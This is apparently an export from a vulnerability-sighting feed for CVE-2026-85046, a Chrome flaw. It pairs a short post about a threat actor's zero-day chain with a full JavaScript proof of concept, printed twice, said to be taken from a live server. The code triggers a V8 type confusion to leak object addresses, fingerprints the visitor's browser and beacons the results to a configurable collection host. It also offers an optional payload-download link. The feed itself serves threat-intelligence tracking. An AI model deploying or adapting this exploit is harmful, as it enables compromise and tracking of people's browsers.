alert!", "creation_timestamp": "2026-09-28T03:33:43.146118Z"} {"uuid": "5178b979-1ee5-4545-a512-4333badcd3d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mwkexsv2r423", "content": "A Chinese threat actor, UTA0565, exploited Chrome and Windows zero-days via fake sites on Sept 3-4, 2026, chaining CVE-2026-85046, CVE-2026-87491, and CVE-2026-85880. Stay alert!", "creation_timestamp": "2026-09-28T03:33:43.146118Z"} https://vulnerability.circl.lu/sighting/5178b979-1ee5-4545-a512-4333badcd3d8/export Mon, 28 Sep 2026 03:33:43 +0000 https://vulnerability.circl.lu/sighting/9306554e-998e-4383-9f70-4788c3264dc0/export {"uuid": "9306554e-998e-4383-9f70-4788c3264dc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://gist.github.com/anorthern-censys/7cc0eae51c66713df1f7d2f2030a0fe6", "content": "### Taken from port 8000 on 172.86.79.169\n\n!DOCTYPE html>\n\nCVE-2026-85046 check\n\n\nrunning…\n\n\n\n'use strict';\n\n// ---------- config ----------\nconst QS = new URLSearchParams(location.search);\nconst COLLECT = QS.get('c') || 'collect'; // e.g. ?c=http://vps:8000/collect\n\n// ---------- stage 1: trigger ----------\n// sort call site must see both element kinds so the optimizing tier inlines\n// sort with the union kind PACKED_ELEMENTS (that is what the fix guards).\nfunction sort(a) {\n function compare() { a.fill(0); return 0; }\n return a.sort(compare);\n}\n// Natural tier-up: alternate Smi/object receivers so the sort call site\n// collects {PACKED_SMI, PACKED_ELEMENTS} feedback; the optimizing tier then\n// inlines sort with the union kind PACKED_ELEMENTS (what the fix guards).\nfor (let i = 0; i < 3000; ++i) {\n if ((i & 1) === 0) sort([1, 2]); else sort([{}, {}]);\n}\n\n// ---------- stage 2: addrof readers (warm BEFORE firing) ----------\n// Warm contract: dst = PACKED_DOUBLE sink, src = PACKED_SMI array.\n// When later called with the confused array (map=PACKED_SMI, slots=pointers),\n// the optimized Smi load untags the raw pointer: v = compressed_ptr >> 1.\nfunction leak0(dst, src) { dst[0] = src[0]; }\nfunction leak1(dst, src) { dst[0] = src[1]; }\n(function warmReaders() {\n const oa = {}, ob = {};\n for (let i = 0; i < 4000; ++i) {\n const s = [oa, ob]; s.fill(i); // -> PACKED_SMI\n const d = [oa, ob]; d.fill(i + 0.5); // -> PACKED_DOUBLE\n leak0(d, s); leak1(d, s);\n }\n const s0 = [oa, ob]; s0.fill(7);\n const d0 = [oa, ob]; d0.fill(100.5);\n leak0(d0, s0); leak1(d0, s0);\n // sanity: leak0 path must still convert Smi 7 into double sink (leak1\n // also writes dst[0] by design, so only slot 0 is checkable here)\n if (d0[0] !== 7) console.log('DELIVERY:reader-warm-anomaly d0[0]=' + d0[0]);\n})();\n\n// sinks pre-allocated BEFORE the fire (no GC pressure in the leak window)\nconst sinkA = [{}, {}]; sinkA.fill(0.5);\nconst sinkB = [{}, {}]; sinkB.fill(0.5);\n\nconst objA = {}; // addrof target A\nconst objB = {}; // addrof target B (adjacent allocation)\nconst bad = [objA, objB];\nsort(bad); // FIRE: copy-back stores raw pointers into SMI map\n\n// ---------- stage 3: read the leak ----------\nconst dA = sinkA, dB = sinkB;\nleak0(dA, bad); // slot0 -> objA\nleak1(dB, bad); // slot1 -> objB\nconst vA = dA[0], vB = dB[0];\nconst restored = (bad[0] === objA);\nconst confused = (typeof vA === 'number') && typeof vB === 'number';\n\nlet report = {\n ua: navigator.userAgent,\n ts: new Date().toISOString(),\n confused: confused,\n restored: restored,\n vA: confused ? vA : null,\n vB: confused ? vB : null,\n ptrA: confused ? '0x' + (((2 * vA) | 1) >>> 0).toString(16) : null,\n ptrB: confused ? '0x' + (((2 * vB) | 1) >>> 0).toString(16) : null,\n delta: confused ? '0x' + ((((2 * vB) | 1) - ((2 * vA) | 1)) >>> 0).toString(16) : null,\n slot0type: typeof bad[0]\n};\n\n// ---------- stage 4: report ----------\nconst verdict = confused ? 'CONFUSION:YES (addrof)' : 'CONFUSION:NO';\nconsole.log('DELIVERY:' + verdict);\nconsole.log('DELIVERY:report=' + JSON.stringify(report));\ndocument.title = confused ? 'VULNERABLE' : 'NOT vulnerable';\ndocument.getElementById('verdict').textContent =\n location.host + ' \\u2014 ' + verdict + ' \\u2014 Chrome ' +\n (navigator.userAgent.match(/Chrome\\/[\\d.]+/) || ['?'])[0];\ndocument.getElementById('detail').textContent = JSON.stringify(report, null, 2);\n\n// Optional MANUAL payload step (?d=1): shows a download link for the staged\n// payload stub. This is NOT part of the exploit chain - the exploit cannot\n// execute native code (no write primitive / sandbox escape, see\n// RESEARCH_NOTES.md chain gaps). It simulates the final step a completed\n// chain would perform, via explicit user action.\nif (QS.get('d') === '1') {\n const dl = document.createElement('p');\n dl.innerHTML = '' +\n 'Download helloworld.exe (manual payload simulation - not exploit-driven)';\n document.body.appendChild(dl);\n}\n\ntry {\n const body = JSON.stringify(report);\n if (navigator.sendBeacon) navigator.sendBeacon(COLLECT, body);\n else fetch(COLLECT, { method: 'POST', body: body, mode: 'no-cors' });\n} catch (e) { console.log('DELIVERY:exfil-error=' + e); }\n\nconsole.log('POC_STATUS:TRIGGERED');\n", "creation_timestamp": "2026-09-25T20:15:39.000000Z"} {"uuid": "9306554e-998e-4383-9f70-4788c3264dc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-85046", "type": "seen", "source": "https://gist.github.com/anorthern-censys/7cc0eae51c66713df1f7d2f2030a0fe6", "content": "### Taken from port 8000 on 172.86.79.169\n\n!DOCTYPE html>\n\nCVE-2026-85046 check\n\n\nrunning…\n\n\n\n'use strict';\n\n// ---------- config ----------\nconst QS = new URLSearchParams(location.search);\nconst COLLECT = QS.get('c') || 'collect'; // e.g. ?c=http://vps:8000/collect\n\n// ---------- stage 1: trigger ----------\n// sort call site must see both element kinds so the optimizing tier inlines\n// sort with the union kind PACKED_ELEMENTS (that is what the fix guards).\nfunction sort(a) {\n function compare() { a.fill(0); return 0; }\n return a.sort(compare);\n}\n// Natural tier-up: alternate Smi/object receivers so the sort call site\n// collects {PACKED_SMI, PACKED_ELEMENTS} feedback; the optimizing tier then\n// inlines sort with the union kind PACKED_ELEMENTS (what the fix guards).\nfor (let i = 0; i < 3000; ++i) {\n if ((i & 1) === 0) sort([1, 2]); else sort([{}, {}]);\n}\n\n// ---------- stage 2: addrof readers (warm BEFORE firing) ----------\n// Warm contract: dst = PACKED_DOUBLE sink, src = PACKED_SMI array.\n// When later called with the confused array (map=PACKED_SMI, slots=pointers),\n// the optimized Smi load untags the raw pointer: v = compressed_ptr >> 1.\nfunction leak0(dst, src) { dst[0] = src[0]; }\nfunction leak1(dst, src) { dst[0] = src[1]; }\n(function warmReaders() {\n const oa = {}, ob = {};\n for (let i = 0; i < 4000; ++i) {\n const s = [oa, ob]; s.fill(i); // -> PACKED_SMI\n const d = [oa, ob]; d.fill(i + 0.5); // -> PACKED_DOUBLE\n leak0(d, s); leak1(d, s);\n }\n const s0 = [oa, ob]; s0.fill(7);\n const d0 = [oa, ob]; d0.fill(100.5);\n leak0(d0, s0); leak1(d0, s0);\n // sanity: leak0 path must still convert Smi 7 into double sink (leak1\n // also writes dst[0] by design, so only slot 0 is checkable here)\n if (d0[0] !== 7) console.log('DELIVERY:reader-warm-anomaly d0[0]=' + d0[0]);\n})();\n\n// sinks pre-allocated BEFORE the fire (no GC pressure in the leak window)\nconst sinkA = [{}, {}]; sinkA.fill(0.5);\nconst sinkB = [{}, {}]; sinkB.fill(0.5);\n\nconst objA = {}; // addrof target A\nconst objB = {}; // addrof target B (adjacent allocation)\nconst bad = [objA, objB];\nsort(bad); // FIRE: copy-back stores raw pointers into SMI map\n\n// ---------- stage 3: read the leak ----------\nconst dA = sinkA, dB = sinkB;\nleak0(dA, bad); // slot0 -> objA\nleak1(dB, bad); // slot1 -> objB\nconst vA = dA[0], vB = dB[0];\nconst restored = (bad[0] === objA);\nconst confused = (typeof vA === 'number') && typeof vB === 'number';\n\nlet report = {\n ua: navigator.userAgent,\n ts: new Date().toISOString(),\n confused: confused,\n restored: restored,\n vA: confused ? vA : null,\n vB: confused ? vB : null,\n ptrA: confused ? '0x' + (((2 * vA) | 1) >>> 0).toString(16) : null,\n ptrB: confused ? '0x' + (((2 * vB) | 1) >>> 0).toString(16) : null,\n delta: confused ? '0x' + ((((2 * vB) | 1) - ((2 * vA) | 1)) >>> 0).toString(16) : null,\n slot0type: typeof bad[0]\n};\n\n// ---------- stage 4: report ----------\nconst verdict = confused ? 'CONFUSION:YES (addrof)' : 'CONFUSION:NO';\nconsole.log('DELIVERY:' + verdict);\nconsole.log('DELIVERY:report=' + JSON.stringify(report));\ndocument.title = confused ? 'VULNERABLE' : 'NOT vulnerable';\ndocument.getElementById('verdict').textContent =\n location.host + ' \\u2014 ' + verdict + ' \\u2014 Chrome ' +\n (navigator.userAgent.match(/Chrome\\/[\\d.]+/) || ['?'])[0];\ndocument.getElementById('detail').textContent = JSON.stringify(report, null, 2);\n\n// Optional MANUAL payload step (?d=1): shows a download link for the staged\n// payload stub. This is NOT part of the exploit chain - the exploit cannot\n// execute native code (no write primitive / sandbox escape, see\n// RESEARCH_NOTES.md chain gaps). It simulates the final step a completed\n// chain would perform, via explicit user action.\nif (QS.get('d') === '1') {\n const dl = document.createElement('p');\n dl.innerHTML = '' +\n 'Download helloworld.exe (manual payload simulation - not exploit-driven)';\n document.body.appendChild(dl);\n}\n\ntry {\n const body = JSON.stringify(report);\n if (navigator.sendBeacon) navigator.sendBeacon(COLLECT, body);\n else fetch(COLLECT, { method: 'POST', body: body, mode: 'no-cors' });\n} catch (e) { console.log('DELIVERY:exfil-error=' + e); }\n\nconsole.log('POC_STATUS:TRIGGERED');\n", "creation_timestamp": "2026-09-25T20:15:39.000000Z"} https://vulnerability.circl.lu/sighting/9306554e-998e-4383-9f70-4788c3264dc0/export Fri, 25 Sep 2026 20:15:39 +0000